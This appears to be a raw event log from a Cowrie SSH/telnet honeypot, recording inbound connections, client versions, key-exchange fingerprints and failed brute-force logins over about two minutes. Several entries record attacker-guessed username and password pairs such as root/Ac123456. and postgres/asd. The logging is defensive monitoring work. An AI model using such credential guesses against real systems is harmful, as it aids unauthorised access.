{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:20.636932Z","src_ip":"103.97.179.160","session":"0360266dce6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56240,"dst_ip":"159.203.135.109","dst_port":23,"session":"985f155d8013","protocol":"telnet","message":"New connection: 185.26.126.47:56240 (159.203.135.109:23) [session: 985f155d8013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:22.046589Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:40.227340Z","src_ip":"122.168.114.167","session":"2296946be3cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58300,"dst_ip":"159.203.135.109","dst_port":22,"session":"df5efc0f7696","protocol":"ssh","message":"New connection: 122.168.114.167:58300 (159.203.135.109:22) [session: df5efc0f7696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:45.490013Z"}
{"eventid":"cowrie.session.closed","duration":"44.6","message":"Connection lost after 44.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:46.223675Z","src_ip":"122.168.114.167","session":"2296946be3cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:49.358240Z","src_ip":"122.168.114.167","session":"df5efc0f7696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:49.360813Z","src_ip":"122.168.114.167","session":"df5efc0f7696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.717050552368164,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:08.763515Z","src_ip":"185.26.126.47","session":"985f155d8013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.60.136.40","src_port":49448,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7056bcfc9d","protocol":"ssh","message":"New connection: 123.60.136.40:49448 (10.17.0.5:22) [session: 7a7056bcfc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:11.920085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:11.923764Z","src_ip":"123.60.136.40","session":"7a7056bcfc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:12.158431Z","src_ip":"123.60.136.40","session":"7a7056bcfc9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:12.966295Z","src_ip":"122.168.114.167","session":"df5efc0f7696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":50946,"dst_ip":"159.203.135.109","dst_port":22,"session":"021364a9e607","protocol":"ssh","message":"New connection: 103.13.206.208:50946 (159.203.135.109:22) [session: 021364a9e607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:13.051669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:13.055615Z","src_ip":"103.13.206.208","session":"021364a9e607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert1","message":"login attempt [ubuntu/qwert1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:13.121879Z","src_ip":"123.60.136.40","session":"7a7056bcfc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:13.284454Z","src_ip":"103.13.206.208","session":"021364a9e607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456.","message":"login attempt [root/Ac123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:14.232340Z","src_ip":"103.13.206.208","session":"021364a9e607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:14.369304Z","src_ip":"123.60.136.40","session":"7a7056bcfc9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:15.464846Z","src_ip":"103.13.206.208","session":"021364a9e607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.1","message":"Connection lost after 35.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:20.621676Z","src_ip":"122.168.114.167","session":"df5efc0f7696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60716,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eafc15f8e09","protocol":"ssh","message":"New connection: 122.168.114.167:60716 (159.203.135.109:22) [session: 1eafc15f8e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:24.048344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:29.431104Z","src_ip":"122.168.114.167","session":"1eafc15f8e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:29.434303Z","src_ip":"122.168.114.167","session":"1eafc15f8e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":60858,"dst_ip":"10.17.0.5","dst_port":22,"session":"c361a11da3a5","protocol":"ssh","message":"New connection: 210.114.22.126:60858 (10.17.0.5:22) [session: c361a11da3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:46.635353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:47.138402Z","src_ip":"210.114.22.126","session":"c361a11da3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:47.335936Z","src_ip":"210.114.22.126","session":"c361a11da3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asd","message":"login attempt [postgres/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:48.939964Z","src_ip":"210.114.22.126","session":"c361a11da3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:50.263034Z","src_ip":"210.114.22.126","session":"c361a11da3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:53.977275Z","src_ip":"122.168.114.167","session":"1eafc15f8e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:33:54.177935Z","src_ip":"106.75.222.164","session":"1e3a7f4caf7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.8","message":"Connection lost after 38.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:02.839538Z","src_ip":"122.168.114.167","session":"1eafc15f8e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e5f7d0d2b7c","protocol":"ssh","message":"New connection: 122.168.114.167:34872 (159.203.135.109:22) [session: 4e5f7d0d2b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:03.737996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:09.332910Z","src_ip":"122.168.114.167","session":"4e5f7d0d2b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:09.336731Z","src_ip":"122.168.114.167","session":"4e5f7d0d2b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":52480,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8a26141bfe","protocol":"ssh","message":"New connection: 103.13.206.208:52480 (159.203.135.109:22) [session: 7d8a26141bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:32.848567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:32.852000Z","src_ip":"103.13.206.208","session":"7d8a26141bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:33.097353Z","src_ip":"103.13.206.208","session":"7d8a26141bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123@","message":"login attempt [root/Root@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:34.103903Z","src_ip":"103.13.206.208","session":"7d8a26141bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:35.350075Z","src_ip":"103.13.206.208","session":"7d8a26141bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:35.777480Z","src_ip":"122.168.114.167","session":"4e5f7d0d2b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37288,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fa8305784c","protocol":"ssh","message":"New connection: 122.168.114.167:37288 (159.203.135.109:22) [session: c0fa8305784c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:41.045359Z"}
{"eventid":"cowrie.session.closed","duration":"39.7","message":"Connection lost after 39.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:43.397140Z","src_ip":"122.168.114.167","session":"4e5f7d0d2b7c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:48.589274Z","src_ip":"122.168.114.167","session":"c0fa8305784c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:48.595035Z","src_ip":"122.168.114.167","session":"c0fa8305784c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31840,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf60c1bf49a","protocol":"ssh","message":"New connection: 87.251.64.176:31840 (10.17.0.5:22) [session: fdf60c1bf49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:57.474486Z"}
